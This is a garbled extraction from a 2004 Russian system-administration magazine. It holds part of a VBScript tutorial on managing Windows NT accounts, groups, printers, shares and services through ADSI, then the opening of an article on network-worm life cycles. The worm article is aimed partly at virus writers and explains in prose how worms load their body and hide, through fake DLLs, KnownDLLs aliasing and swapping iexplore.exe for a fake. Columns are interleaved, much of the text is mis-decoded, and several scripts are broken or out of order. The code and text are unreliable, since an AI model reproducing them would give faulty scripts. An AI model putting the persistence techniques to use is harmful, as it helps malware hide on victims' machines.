образование ! начальный пароль учетной записи должен соответствовать имени компьютера, введенного строчными буквами. Результата добиваются с помощью функции LCase(). Ïðèìåð 11. Ñîçäàíèÿ ó÷åòíîé çàïèñè êîìïüþòåðà ñ èìåíåì ComputerName Set objDomain=GetObject("WinNT: ") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set obj=GetObject("WinNT://" & Domain_Name) NewComputer="ComputerName" Set CC=obj.Create("Computer", ↵ UCase(NewComputer)) CC.SetInfo Set CAccount= GetObject("WinNT://" & ↵ Domain_Name&"/"& NewComputer&"$,user") CAccount.Put "UserFlags", (CAccount.Get("UserFlags") ↵ Or &H1000) CAccount.SetPassword(LCase(NewComputer)) CAccount.SetInfo
Удаление объектов Все три типа объектов удаляются, используя метод Delete. Приведем шаблон, в котором переменная ClassName может принимать значение computer, user, group; NameOfObject – имя удаляемого объекта:
Ïðèìåð 14. ×òåíèÿ ïàðàìåòðîâ ïîäêëàññà User Set obj=GetObject("WinNT:") For Each str In obj DomainName=str.Name Next Set UserName="Value" Set element=GetObject("WinNT://" & DomainName & "/"& UserName) u1="FullName: "+ cstr(element.FullName)+chr(13) u2="UserFlags: "+ cstr(element.UserFlags)+chr(13) u3="LoginScript: "+ cstr(element.LoginScript)+chr(13) u4="MaxBadPasswordsAllowed: "+ ↵ cstr(element.MaxBadPasswordsAllowed)+chr(13) u5="PasswordHistoryLength: "+ ↵ cstr(element.PasswordHistoryLength)+chr(13) u6="AutoUnlockInterval: "+ ↵ cstr(element.AutoUnlockInterval)+chr(13) u7="PasswordAge: "+ cstr(element.PasswordAge)+chr(13) u8="PasswordExpired: "+ cstr(element.PasswordExpired)+chr(13) temp="" temp=u1+u2+u3
Манипулирование пользовательскими флагами функцией UserFlags Для просмотра и изменения состояния пользовательских флагов в базе SAM применяются методы Get() и Put(), соответственно. Ниже приведены константы и их описание. Константы представляют собой шестнадцатеричные значения флагов: Òàáëèöà 4
Ïðèìåð 12 Set objDomain=GetObject("WinNT: ") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set obj=GetObject("WinNT://" & Domain_Name) ClassName="____" NameOfObject="____" Set CC=obj.Delete (ClassName, NameOfObject)
Обратите внимание, что объект удаляется немедленно и использовать метод SetInfo не нужно.
Переименование объектов Среди трех ранее перечисленных объектов переименованию поддается только учетная запись пользователя. Переименование учетной записи осуществляется с помощью функции MoveHere(): Ïðèìåð 13 Set objDomain=GetObject("WinNT: ") For Each domain_element In objDomain Domain_Name= domain_element.Name Next OldUserName="____" NewUserName="____" Set obj=GetObject("WinNT://" ↵ & Domain_Name&"/"& OldUserName&",user") obj.MoveHere(User.AdsPath, NewUserName) obj.Nothing
Подкласс User Учетные записи пользователей домена содержатся в подклассе User. Подкласс включает в себя более 20 параметров, некоторые из которых не поддерживаются Windows 2k. Описание параметров см. в Приложении. Параметры подкласса изначально задаются в групповых политиках.
№2(15), февраль 2004
Обратите внимание, что в таблице нет флага для параметра «User Must Change Password at Next Logon». Для установки флага следует менять значение свойства PasswordExpired. О том, как это сделать, речь пойдет позже. Для просмотра и изменения шестнадцатеричных флагов используют операторы Or, Xor и And следующим образом: ! оператор Or – для начальной установки бита. На практике используется в случае создания новой учетной записи пользователя;
69
образование ! оператор Xor – для переключения статуса флага. Флаг метод SetInfo. Удаление учетной записи пользователя из может быть активизирован и дезактивирован;
! оператор And – для просмотра значения, хранящегося в базе SAM. Для просмотра значения флага используется функция Get(). Рассмотрим пример, в котором прочитаем значение параметра ADS_UF_DONTEXPIREPASSWD – управление флагом «Password Never Expires»: Ïðèìåð 15 Set obj=GetObject("WinNT:") For Each str In obj DomainName=str.Name Next Set UserName="Value" temp="" Set element=GetObject("WinNT://" & DomainName & "/"& UserName) flag=element.Get("UserFlags") if (flag AnD &H10000)<>0 then temp="Ôëàã óñòàíîâëåí" else temp="Ôëàã íå óñòàíîâëåí" end if MsgBox temp
группы происходит сразу после вызова метода Remove. Ïðèìåð 17. Äîáàâëåíèå ó÷åòíîé çàïèñè Value_Name â ãðóïïó Value_Group Set obj=GetObject("WinNT:") For Each str In obj DomainName=str.Name Next Set UserName="Value_Name" Set GroupName="Value_Group" Set element_user=GetObject("WinNT://" & DomainName & ↵ "/"& UserName & ", user") Set element_group=GetObject("WinNT://" & DomainName & ↵ "/"& GroupName & ", group") element_group.Add(element_user.ADsPath) element_group.SetInfo
Для удаления учетной записи из группы в приведенном примере последние две строки необходимо заменить на строку element_group.Remove(element_user.ADsPath). 2) Для перечисления всех пользователей группы, например, группы GroupName, используют свойство Members: Ïðèìåð 18
Для изменения значения флага используется функция Put(), которая имеет следующий формат: value.Put «UserFlags» String. Рассмотрим использование данной функции на примере, в котором изменим значение параметра на противоположное ADS_UF_DONTEXPIREPASSWD. Для того чтобы изменения вступили в силу, необходимо использовать метод value.SetInfo.
Set obj=GetObject("WinNT:") For Each str In obj DomainName=str.Name Next Set GroupName="Value_Group" Set element_group=GetObject("WinNT://" & DomainName & ↵ "/"& GroupName & ", group") For each obj inGroup.Members temp=temp+Member.Name Next MsgBox temp
Ïðèìåð 16 Set obj=GetObject("WinNT:") For Each str In obj DomainName=str.Name Next ADS_UF_DONTEXPIREPASSWD=&H0040 Set UserName="Value" Set element=GetObject("WinNT://" & DomainName & "/"& UserName) element.put "userFlags", element.Get("UserFlags") ↵ Xor ADS_UF_DONTEXPIREPASSWD element.setinfo MsgBox element.get("UserFlags")
Подкласс Group Подкласс Group включает в себя 2 параметра: описание и SID группы. Чтение этих параметров происходит аналогичным способом, описанным в предыдущем разделе. Изменение описание группы осуществляется использованием метода SetInfo.
Взаимосвязь учетных записей пользователей и групп В этом параграфе будут рассмотрены вопросы добавления и исключения учетной записи пользователя из группы членства пользователей в группе, принадлежность пользователя к группам. 1) Добавление пользователя в группу осуществляется с помощью функции Add(), для удаления пользователя – функция Remove(). При использовнии метода Add() чтобы изменения вступили в силу, необходимо использовать
70
3) Просмотр списка групп, к которой принадлежит пользователь. Использующийся в данном примере метод ISMember возвращает значение типа Boolean, т.е. True/ False. Сценарий условно можно разделить на три части – определение текущего домена, определение списка групп в домене и проверка членства в группе. Ïðèìåð 19 Set objDomain=GetObject("WinNT: ") For Each domain_element In objDomain Domain_Name= domain_element.Name Next UserName="Administrator" Set element_user=GetObject("WinNT://" & DomainName & "/"& UserName) Set obj=GetObject("WinNT://" & DomainName) obj.filter=array("group") For Each element In obj Set element_group=GetObject("WinNT://" ↵ & DomainName& "/"& element.name ) if element_group.IsMember ↵ (element_user.ADsPath)="True" then temp=temp+ element.name & chr(13) end if Next MsgBox temp
Убрав из данного примера конструкцию For Each element In obj можно, задав имя группы пользователя в явном виде, определять, является ли конкретный пользователь членом конкретной группы. Задачу, которая была решена в примере, можно решить иным способом: необходимо получить доступ к учетной записи пользователя и в цикле For в качестве имени массива указать свойство ArrayName.Groups:
образование Ïðèìåð 20
Òàáëèöà 5 Set obj=GhpLaserJetObject("WinNT://" ↵ & DomainName & "/"& UserName ) For Each element In obj.Groups temp = temp + element.name + chr(13) Next Ïðèìåð 22. Èñïîëüçîâàíèå îäíîé èç êîìàíä
Класс Computer Свойства компьютера могут быть получены тем же способом, что и свойства полей для пользователя или домена. Название и обозначения полей см. в Приложении.
Подклассы PrintQueue, PrintJob, PrintJobsCollection Управление принтерами и очередями принтеров Провайдер WinNT создавался для доступа к объектам для семейства Microsoft Windows NT 4.0, поэтому принтеры рассматриваются как локальные устройства, что позволяет осуществлять программное управление их очередями печати. В классе Computer существует два подкласса – PrintQueue и PrintJob. Для доступа к принтеру необходимо, чтобы устройство было предоставлено в общее пользование. Список папок и устройств, предоставленных в общее пользование в домене, включая скрытые папки, можно получить, используя следующий код:
Set pq = GetObject("WinNT://" & server_name & "/" & shares_enum) pq.purge
Просмотр состояния принтера Чтение состояния принтера происходит с помощью функции Status. После получения значения функцией Status требуется расшифровка значения. Следует отметить, алгоритм просмотра состояния пользователя очень похож на алгоритм определения состояния пользователя (см. примеры 14,15; таблицу 4). Константы состояния очереди печати приведены в таблице 6: Òàáëèöà 6
Ïðèìåð 21 On error Resume Next Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set obj=GetObject("WinNT://" Domain_Name ↵ &" /LanmanServer,fileservice") For Each element In obj temp=temp+element.Name+chr(13) msgbox temp
Подключение к принтеру осуществляется с помощью протокола GetObject() по доступному сетевому имени. Еще раз хочу обратить внимание, что, хотя подключение к принтеру осуществляется как к сетевому устройству, он рассматривается как локальное устройство. Приведем пример подключения к принтеру с помощью протокола WinNT и чтение свойства Name принтера: Set obj=GetObject(«WinNT://PCName/PrinterShareName»
Описание объектной модели подклассов PrintQueue и PrintJob см. в Приложении.
Управление принтером Управление принтером также осуществляется с помощью элементов массива объекта, вызванного с помощью функции GetObject(). Элементы массива содержат не только строки и массивы, но и команды:
№2(15), февраль 2004
Ïðèìåð 24 Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set PC_Name="_______" Set Share_Name="_______" Set element=GetObject("WinNT://" & Domain_Name &"/" ↵ & PC_Name &"/" & Share_Name) flag=element.status MsgBox flag
Значение переменной flag будет выдано в десятичном виде, поэтому его необходимо перевести в шестнадцатеричную систему.
71
образование Чтение свойств заданий в очереди принтера Очередь печати представляет собой массив, содержащий в себе задания, которые находятся в очереди печати на момент извлечения из нее данных с помощью протокола WinNT. Список и описание свойств параметров очереди см. в Приложении раздел PrintJob. Ïðèìåð 25. ×òåíèÿ ïîëåé î÷åðåäè Set objDomain=GetObject("WinNT: ") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Shares_Name="Value" Set pq = GetObject("WinNT://" & Domain_Name & "/" & Shares_Name) For Each printJob In pq.PrintJobs status_pre=printJob.status select case case case case end select
status_pre "0" status_="Íîðìàëüíî" "1" status_="Ïàóçà" "18" status_="Îøèáêà"
summary = summary & ”Íîìåð äîêóìåòà: ” & number_docum ↵ & chr(13) & chr(13) & ”Ñòàòóñ: ” & status_pre ↵ & chr(13) & ”Ïðèîðèòåò: ” & printJob.Description & chr(13) ↵ & ”Ïîëüçîâàòåëü: ” & printJob.User & chr(13) ↵ & ”Âñåãî ñòð. ” & printJob.TotalPages & chr(13) ↵ & ”Ðàçìåð, (Mb) ” & round(printJob.Size/1000000,2) ↵ & chr(13) & ”Ñòàòóñ: ” & status_pre & chr(13) & chr(13) Next Wscript.Echo summary
Управление очередью печати Подкласс PrintJobsCollection: управление очередью осуществляется тем же способом, что и управление принтером. Существует три команды, которые могут быть использованы для управления документом, находящимся в очереди печати: Òàáëèöà 7
Пример, в котором удаляется второе задание из очереди печати. Если задание № 2 отсутствует, то ошибка обрабатывается с помощью выражения «On Error Resume Next»: Ïðèìåð 26 On Error Resume Next Set objDomain=GetObject("WinNT: ") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Shares_Name="Value" Set pq = GetObject("WinNT://" & Domain_Name & "/" & Shares_Name) For Each printJob In pq.PrintJobs If (number_docum=2) then printJob.remove end if Next
Подклассы FileService и FileShare Подклассы FileService и FileShare являются дочерними для подкласса Service, причем FileShare является дочер-
72
ним для FileService. Поскольку эти два подкласса тесно связаны между собой, то их необходимо рассматривать вместе. Используя эти классы, программно управляют безопасностью и предоставления доступа к файлам и каталогам. Для управления совместно используемыми ресурсами используется контейнер LanmanServer. Пример соединения с контейнером LanmanServer приведен в примере 21. Совместно используемыми ресурсами могут быть принтеры и папки с файлами. Управление принтерами было рассмотрено ранее. В этом разделе речь пойдет именно управлении файлами и папками. Рассмотрим следующие ключевые вопросы, касающиеся совместно используемых ресурсов: чтение свойств ресурсов, создание и удаление совместно используемых ресурсов.
Чтение свойств совместно используемых ресурсов Чтение свойств и назначение новых значений параметров осуществляется ранее описанным методом. Приведем пример, в котором читается и выводится на экран описание ресурса, затем происходит смена описания ресурса: Ïðèìåð 27 Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set PC_Name="_______" Set Share_Name="_______" Set New_Description_Name="_______" Set element=GetObject("WinNT://" & Domain_Name &"/" ↵ & PC_Name &"/LanmanServer/" & Share_Name) temp="Old Description: " + Element.Description+chr(13) Element.Description = New_Description_Name Element.SetInfo temp="New Description " + Element.Description msgbox temp
Программное создание и удаление совместно используемого ресурса Создание совместно используемого ресурса осуществляется с помощью метода Create. В свойствах метода указывается тип создаваемого ресурса, в данном случае fileshare, и название ресурса (ShareName). Метод Create обязательно сопровождается методом Path, с помощью которого задается путь к ресурсу и методом SetInfo, который сохраняет сделанные изменения. Приведем пример, в котором предоставим в общее пользование папку, локальный путь к которой «c:\folder001». Сетевой путь папки должен быть «\\1000pc\Share1». Описание папки – «Shared Folder #1»: Ïðèìåð 28. Ñîçäàíèå ðåñóðñà Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set PC_Name="1000pc" Set Share_Name="Share1" Set Folder_Path="c:\Folder1"
образование Set Description_Name="Shared Folder #1" Set object=GetObject("WinNT://" & Domain_Name &"/" ↵ & PC_Name &"/LanmanServer") Set element=object.Create("fileshare", Share_Name) element.Path= Folder_Path element.Description= Description_Name element.MaxUserCount =10 element.SetInfo
Для удаления используемого ресурса вместо метода Create используют метод Delete. Изменения вступают в силу немедленно: Ïðèìåð 29. Óäàëåíèå ðåñóðñà Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set PC_Name="1000pc" Set Share_Name="Share1" Set Folder_Path="c:\Folder1" Set Description_Name="Shared Folder #1"
Domain_Name= domain_element.Name Next Set Service_Name="______" Set PC_Name="______" Set object=GetObject("WinNT://" & Domain_Name &"/" ↵ & PC_Name &",Computer") Set Service=object.GetObject("service", Service_Name) Flag1=0 Flag2=0 Dim New_Array() ' Îáúÿâëåíèå ïóñòîãî ìàññèâà Set Dependency_Name="_______" If IsArray(Service.Dependencies)=True Then For Each obj in Service.Dependencies ' Îïðåäåëåíèå âåðõíåé ãðàíèöû ìàññèâà Dependencies i=Ubound(New_Array)+1 ' Ïåðåîïðåäåëåíèå ðàçìåðà ìàññèâà New_Arrray ReDim Preserve New_Array (i) New_Array(i)=obj If obj="" then Flag1=1 end if If obj= Dependency_Name then Flag2=1 end if
Set object=GetObject("WinNT://" & Domain_Name &"/" ↵ & PC_Name &"/LanmanServer") Call object.Delete("fileshare", Share_Name)
if Flag1=1 then
Else
If
Flag2<>1
Подкласс Service С помощью данного подкласса осуществляется управление различными службами. С его помощью могут быть осуществлены следующие действия, касающиеся служб: перечисление служб, установленных на локальном или удаленном компьютере; чтение свойств выбранной службы; управление службой.
End if Else
Перечисление служб на выбранном компьютере
End if
Перечисление служб на рабочей станции осуществляется с помощью фильтра. Пример использования фильтра см. в разделе «Объектная модель провайдера WinNT»; примеры 2б) и 3б); в таблице 2 перечислены все возможные фильтры.
Чтение свойств служб на выбранном компьютере Перечисление служб на рабочей станции осуществляется с помощью фильтра.
Связывание служб на выбранном компьютере Понятие «связывание служб» лучше всего продемонстрировать на реальном примере: представьте, что служба 1 связана, т.е. является зависимой от службы 2. Это обозначает, что при остановке службы 1 появится сообщение о необходимости остановки службы 2. Связанность служб характеризуется свойством Dependencies. Свойство Dependencies является массивом, см. Приложение. Ïðèìåð 30. Ñâÿçûâàíèå ñëóæá On Error Resume Next Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain
№2(15), февраль 2004
End if
Service.dependencies= ↵ Array(Dependency_Name) Service.SetInfo i=Ubound(New_Array)+1 ReDim Preserve New_Array (i) New_Array(i)= Dependency_Name Service.dependencies= New_Array Service.SetInfo
If Service.dependencies <> Dependency_Name then Service.dependencies = ↵ array(Service.dependencies, ↵ Dependency_Name) Service.SetInfo End if
Заключение Рассмотрев объектную модель провайдера WinNT; изучив на простых примерах основные принципы программирования ADSI с помощью этого провайдера; методы, поддерживаемые провайдером WinNT, такие как SetInfo, Create, Delete и т. д., можно приступать к программированию с помощью провайдера WinNT. Однако необходимо оговориться: провайдер WinNT изначально создавался для Windows NT 4.0. В этом есть свои плюсы и свои минусы. По сравнению с программированием через провайдера LDAP, программирование через WinNT содержит гораздо меньше программного кода. Поэтому программировать через провайдер WinNT проще. Принтеры рассматриваются как локальные, что имеет свои плюсы и минусы. Изучив объектную модель протокола LDAP, можно убедиться в том, что сочетание программирования через оба провайдера обеспечит наилучший результат: максимальный функционал при минимизации кода скрипта. 1
Логично предположить, что свойство возвращает количество установленных процессоров, однако это не так: оно отображает используемый в системе HAL (аппаратный уровень абстракций).
73
образование Приложение. Объектная модель WinNT
objectClass Computer
objectClass Domain
objectClass PrintQueue
objectClass User
objectClass PrintJob
objectClass FileService
objectClass FileShare
objectClass Service
objectClass Group
74
безопасность
ЖИЗНЕННЫЙ ЦИКЛ ЧЕРВЕЙ – Червь придет обязательно? – Обязательно. Френк Херберт, «Дюна»
Червями принято называть сетевые вирусы, проникающие в зараженные машины вполне естественным путем, без каких-либо действий со стороны пользователя. Они ближе всех остальных вирусов подобрались к модели своих биологических прототипов и потому чрезвычайно разрушительны и опасны. Их не берут никакие превентивные меры защиты, антивирусные сканеры и вакцины до сих пор остаются крайне неэффективными средствами борьбы. Нашествие червей нельзя предвидеть и практически невозможно остановить. Но все-таки черви уязвимы. Чтобы одолеть червя, вы должны знать структуру его программного кода, основные повадки, наиболее вероятные алгоритмы внедрения и распространения. Сеть Интернет в целом и операционные системы в частности – это настоящий лабиринт, и вам понадобится его подробная карта с отметками секретных троп и черных ходов, используемых червями для скрытого проникновения в нервные узлы жертвы. Все это и многое другое вы найдете в этой статье.
КРИС КАСПЕРСКИ 76
безопасность Инициализация, или Несколько слов перед введением В те минуты, когда пишутся эти строки, в левом нижнем углу компьютера лениво мигает глазок персонального брандмауэра, фильтрующего пакеты, приходящие по сотовому телефону через GPRS (между прочим, очень хорошая штука – рекомендую!). Эпизодически – не чаще чем три-пять раз в день – в систему пытается проникнуть червь Love San (или что-то очень на него похожее), и тогда брандмауэр выбрасывает на экран следующее окно (см. рис. 1). Та же самая картина наблюдается и у двух других моих провайдеров. И хотя активность червя неуклонно снижается (пару месяцев назад атака происходила буквальные каждый час-полтора), до празднования победы еще далеко. Червь жил, живет и будет жить! Вызывает уважение тот факт, что автор червя не предусмотрел никаких деструктивных действий, в противном случае ущерб оказался невосполнимым, и всей земной цивилизации сильно поплохело бы. А сколько дыр и червей появится завтра? Было бы наивно надеяться, что этой статьей можно хоть что-то исправить, поэтому после долгих колебаний, сомнений и размышлений я решил ориентировать ее не только на системных администраторов, но и на… вирусописателей. А что, давал же Евгений Касперский советы авторам вирусов, предваряя свою статью такими словами: «Успокойтесь! Не надо готовить ругательства или, наоборот, потирать руки. Мы не хотим делиться своими идеями с авторами компьютерных вирусов. Все значительно проще – через наши руки прошло несколько сотен образцов компьютерных животных, и слишком часто в них встречались одни и те же ошибки. С одной стороны, это хорошо – такие вирусы часто оказываются «маложивущими», но, с другой стороны, малозаметная ошибка может привести к несовместимости вируса и используемого на компьютере программного обеспечения. В результате вирус «вешает» систему, компьютер отдыхает, а пользователи мечутся в панике с криками: «Пусть хоть 100 вирусов, лишь бы компьютер работал!!!» (завтра сдавать заказ, не запускается самая любимая игрушка, компилятор виснет при выходе в DOS и т. п.). И все это происходит при заражении довольно безобидным вирусом. По причине этого и возникло желание поделиться некоторой информацией о жизни вируса в компьютере, дабы облегчить жизнь и вам, и многочисленным «пользователям» ваших вирусов». Черви, если только в них не заложены деструктивные возможности, не только вредны, но и полезны. Вирусы – это вообще юношеская болезнь всех или практически всех программистов. Что ими движет? Желание навредить? Стремление самоутвердиться в чьих-то глазах? А может быть, простой познавательный интерес? Разумеется, если червь положил весь Интернет, его создатель должен ответить. Данная статья – не самоучитель по написанию червей. Скорее это детальный анализ ошибок, допущенных вирусописателями. Я не призываю вас писать червей. Напротив, я призываю одуматься и не делать этого. Но если уж вам действительно невтерпеж, пишите тогда по крайней мере так,
№2(15), февраль 2004
чтобы ваше творение не мешало жить и трудиться всем остальным. Аминь!
Ðèñóíîê 1. Êòî-òî óïîðíî ëîìèòñÿ íà 135 ïîðò, ñîäåðæàùèé óÿçâèìîñòü...
Введение, или превратят ли черви сеть в компост? – А-а, черви. Я должен как-нибудь увидеть одного из них. – Может быть, вы и увидите его сегодня. Френк Херберт, «Дюна»
Ðèñóíîê 2. ×åðâè àòàêóþò! È íè÷òî íå ñìîæåò íè îñòàíîâèòü, íè ñáèòü èõ ñ ïóòè
Если кто и разбирается в червях, так это Херберт. Ужасные создания, блестяще описанные в «Дюне» и вызывающие у читателей смесь страха с уважением, – они действительно во многом похожи на одноименных обитателей кибернетического мира. И пока специалисты по информационной безопасности ожесточенно спорят, являются ли черви одним из подклассов вирусных программ или же образуют вполне самостоятельную группу вредоносных «организмов», черви успели перепахать весь Интернет и продолжают зарываться в него с бешеной скоростью. Удалить же однажды зародившегося червя практически невозможно. Забудьте о Черве Морриса! Сейчас не то время, не те пропускные способности каналов и не та квалификация обслуживающего персонала. В далеких восьмидесятых с заразой удалось справиться лишь благодаря небольшой (по современным меркам!) численности узлов сети и централизованной организации структуры сетевого сообщества.
77
безопасность А что мы имеем сейчас? Количество узлов сети вплотную приближается к четырем миллиардам, причем подавляющим большинством узлом управляют совершенно безграмотные пользователи, и лишь незначительная часть сетевых ресурсов находится в руках администраторов, зачастую являющихся все теми же безграмотными пользователями, с трудом отличающими один протокол от другого и во всем полагающимися на Microsoft и NT, которые «все за них сделают». Что такое заплатки, некоторые из них, возможно, и знают, но до их установки дело, так или иначе, сплошь и рядом не доходит. Можно до потери пульса проклинать Святого Билла и его корявое программное обеспечение, но проблема вовсе не в дырах, а в халатном отношении к безопасности и откровенном разгильдяйстве администраторов. Что касается программистских ошибок, то в мире UNIX ситуация обстоит ничуть не лучшим образом. Здесь тоже водятся черви, пускай не впечатляющие численностью своих штаммов, зато отличающиеся большой изощренностью и разнообразием. Здесь также случаются вспышки эпидемий, насчитывающие тысячи и даже десятки тысяч жертв (достаточно вспомнить червей Scalper и Slapper, поражающих Apache-сервера, вращающиеся под управлением FreeBSD и Linux соответственно). Конечно, по сравнению с миллионами упавших Windows-систем эти цифры выглядят более чем умеренными, однако легендарная защищенность (точнее, как раз-таки незащищенность) UNIX тут совсем ни при чем. Просто UNIXсистемы управляются намного более грамотными операторами, чем Windows NT. Никто не гарантирован от вторжения и всемирная Сеть действительно находится в большой опасности. Просто, по счастливому стечению обстоятельств, все предыдущие черви были довольно беззлобными созданиями, и ущерб от их размножения скорее носил косвенный, чем прямой характер, но и в этом случае он измерялся многими миллионами долларов и долгими часами полного или частичного полегания сети. У нас еще есть время на то, чтобы извлечь хороший урок из случившегося и кардинальным образом пересмотреть свое отношение к безопасности, поэтому не будем больше терять времени на бесполезные философствования и приступим к стержневой теме данной статьи.
Структурная анатомия червя Те экземпляры червей, которые мы изучали, заставили нас предполагать, что внутри них происходит сложный химический обмен. Френк Херберт, «Дюна»
Условимся называть червем компьютерную программу, обладающую репродуктивными навыками и способную к самостоятельному перемещению по сети. Попросту говоря, червь – это нечто такое, что приходит к вам само и захватывает управление машиной без каких-либо действий с вашей стороны. Для внедрения в заражаемую систему червь может использовать различные механизмы: дыры, слабые пароли, уязвимости базовых и прикладных протоколов, открытые системы и человеческий фактор (см. «Механизмы распространения червей»).
78
Нора, прорытая вирусом в системе, обычно оказывается слишком узка, чтобы вместить всего червяка целиком. Ну разве что это будет совсем крохотный и примитивный вирус, поскольку ширина типичной норы измеряется десятками или в лучшем случае сотнями байт. Поэтому сначала на атакуемую машину проникает лишь небольшая часть вируса, называемая головой или загрузчиком, которая и подтягивает основное тело червя. Собственно говоря, голов у вируса может быть и несколько. Так, достопочтенный вирус Морриса имел две головы, одна из которых пролезала через отладочный люк в sendmail, а другая проедала дыру в finger, поэтому создавалось обманчивое впечатление, что сеть атакуют два различных червя. Естественно, чем больше голов имеет вирус, тем он жизнеспособнее. Современные черви в своем подавляющем большинстве обладают одной-единственной головой, однако из этого правила случаются и исключения. Так, при дизассемблерном вскрытии червя Nimda (слово «admin», читаемое задом наперед) на его теле было обнаружено пять голов, атакующих клиентов электронной почты, shared-ресурсы, веб-браузеры, MS IISсервера и backdoor, оставленные вирусом Code Red. Такие многоголовые монстры скорее напоминают сказочных драконов или гидр, поскольку червь с несколькими головами смотрится, прямо так скажем, жутковато, но… в кибернетическим мире свои законы. Вирусный загрузчик (обычно отождествляемый с shellкодом, хотя это не всегда так) решает по меньшей мере три основные задачи: во-первых, он адаптирует свое тело (и при необходимости основное тело червя) к анатомическим особенностям организма жертвы, определяя адреса необходимых ему системных вызовов, свой собственный адрес размещения в памяти, текущий уровень привилегий и т. д. Во-вторых, загрузчик устанавливает один или несколько каналов связи с внешним миром, необходимых для транспортировки основного тела червя. Чаще всего для этого используется TСP/IP-соединение, однако червь может воспользоваться услугами FTP- и/или POP3/ SMTP-протоколов, что особенно актуально для червей, пытающихся проникнуть в локальные сети, со всех сторон огороженные сплошной стеной Firewall. В-третьих, загрузчик забрасывает хвост вируса на зараженный компьютер, передавая ему бразды правления. Для сокрытия факта своего присутствия загрузчик может восстановить разрушенные структуры данных, удерживая систему от падения, а может поручить это основному телу червя. Выполнив свою миссию, загрузчик обычно погибает, поскольку включить в тело вируса копию загрузчика с инженерной точки зрения намного проще, чем собирать вирус по частям. Однажды получив управление, червь первым делом должен поглубже зарыться в грунт системы, втянув свой длинный хвост внутрь какого-нибудь неприметного процесса и/или файла. А зашифрованные (полиморфные) вирусы должны себя еще и расшифровать/распаковать (если только эту операцию не выполнил за них загрузчик). Впрочем, червь может вести и кочевую жизнь, автоматически удаляя себя из системы по прошествии некоторого времени – это добавляет ему скрытности и значи-
безопасность тельно уменьшает нагрузку на сеть. При условии, что поражаемый сервис обрабатывает каждое TCP/IP-соединение в отдельном потоке (а в большинстве случаев дело обстоит именно так), червю будет достаточно выделить блок памяти, присвоить ему атрибут исполняемого и скопировать туда свое тело (напрямую перебросить хвост в адресное пространство потока жертвы нельзя, т.к. сегмент кода по умолчанию защищен от записи, а сегмент данных по умолчанию запрещает исполнение1, остается стек и куча; стек чаще всего исполняем по дефолту, а куча – нет, и для установки атрибута Executable червю приходится химичить с системными функциями менеджера виртуальной памяти). Если же голова червя получает управление до того, как уязвимый сервис создаст новый поток или успеет расщепить процесс вызовом fork, червь должен обязательно возвратить управление программе-носителю, в противном случае та немедленно ляжет, и получится самый натуральный DoS. При этом полный возврат управления предполагает потерю власти над машиной, а значит и смерть червя. Чтобы не уронить систему, но и не лишиться жизни самому, червь должен оставить свою резидентную копию или, в более общем случае, – модифицировать систему так, чтобы хотя бы изредка получать управление. Это легко. Первое, не самое удачное, зато элементарно реализуемое решение заключается в создании нового файла с последующим добавлением его в список автоматически запускаемых программ. Более изощренные черви внедряют свое тело в подложную динамическую библиотеку и размещают ее в текущем каталоге уязвимого приложения (или просто в каталоге любого более или менее часто запускаемого приложения). Еще червь может изменить порядок загрузки динамических библиотек или даже назначить существующим динамическим библиотекам подложные псевдонимы (в ОС семейства Windows за это отвечает следующий раздел реестра: HKLM\SYSTEM\CurrentControlSet\Control\Session Maneger\ KnownDLLs). Сильно извращенные черви могут регистрировать в системе свои ловушки (hocks), модифицировать таблицу импорта процесса-носителя, вставлять в кодовый сегмент команду перехода на свое тело (разумеется, предварительно присвоив ему атрибут Writable), сканировать память в поисках таблиц виртуальных функций и модифицировать их по своему усмотрению (внимание: в мире UNIX большинство таблиц виртуальных функций располагаются в области памяти, доступной лишь на чтение, но не на запись). Короче говоря, возможных путей здесь не по-детски много, и затеряться в гуще системных, исполняемых и конфигурационных файлов червю ничего не стоит. Попутно отметим, что только самые примитивные из червей могут позволить себе роскошь создания нового процесса, красноречиво свидетельствующего о наличии посторонних. Печально известный Love San, кстати, относится именно к этому классу. Между тем, используя межпроцессорные средства взаимодействия, внедриться в адресное пространство чужого процесса ничего не стоит, равно как ничего не стоит заразить любой исполняемый файл, в том числе и ядро системы. Кто там говорит, что операционные системы класса Windows NT блокируют доступ к
№2(15), февраль 2004
запущенным исполняемым файлам? Выберете любой понравившийся вам файл (пусть для определенности это будет iexplore.exe) и переименуйте его в iexplore.dll. При наличии достаточно уровня привилегий (по умолчанию это привилегии администратора) операция переименования завершается успешно, и активные копии Internet Explorer автоматически перенаправляются системой к новому имени. Теперь создайте подложный iexplore.exe-файл, записывающий какое-нибудь приветствие в системный журнал и загружающий оригинальный Internet Explorer. Разумеется, это только демонстрационная схема. В реальности все намного сложнее, но вместе с тем и… интереснее! Впрочем, мы отвлеклись. Вернемся к нашему вирусу, в смысле к червю. Укрепившись в системе, червь переходит к самой главной фазе своей жизнедеятельности – фазе размножения. При наличии полиморфного генератора вирус создает совершенно видоизмененную копию своего тела, ну или, на худой конец, просто зашифровывает критические сегменты своего тела. Отсутствие всех этих механизмов оставляет червя вполне боевым и жизнеспособным, однако существенно сужает ареал его распространения. Судите сами, незашифрованный вирус легко убивается любым сетевым фильтром, как-то брандмауэром или маршрутизатором. А вот против полиморфных червей адекватных средств борьбы до сих пор нет, и сомнительно, чтобы они появились в обозримом будущем. Распознание полиморфного кода – эта не та операция, которая может быть осуществлена в реальном времени на магистральных интернет-каналах. Соотношение пропускной способности современных сетей к вычислительной мощности современных же процессоров явно не в пользу последних. И хотя ни один полиморфный червь до сих пор не замечен в «живой природе», нет никаких гарантий, что такие вирусы не появятся и впредь. Локальных полиморфных вирусов на платформе Intel IA-32 известен добрый десяток (речь идет о подлинном полиморфизме, а не тривиальном замусоривании кода незначащими машинными командами и иже с ними), как говорится, выбирай не хочу. Но какой бы алгоритм червь ни использовал для своего размножения, новорожденные экземпляры покидают родительское гнездо и расползаются по соседним машинам, если, конечно, им удастся эти самые машины найти. Существует несколько независимых стратегий распространения, 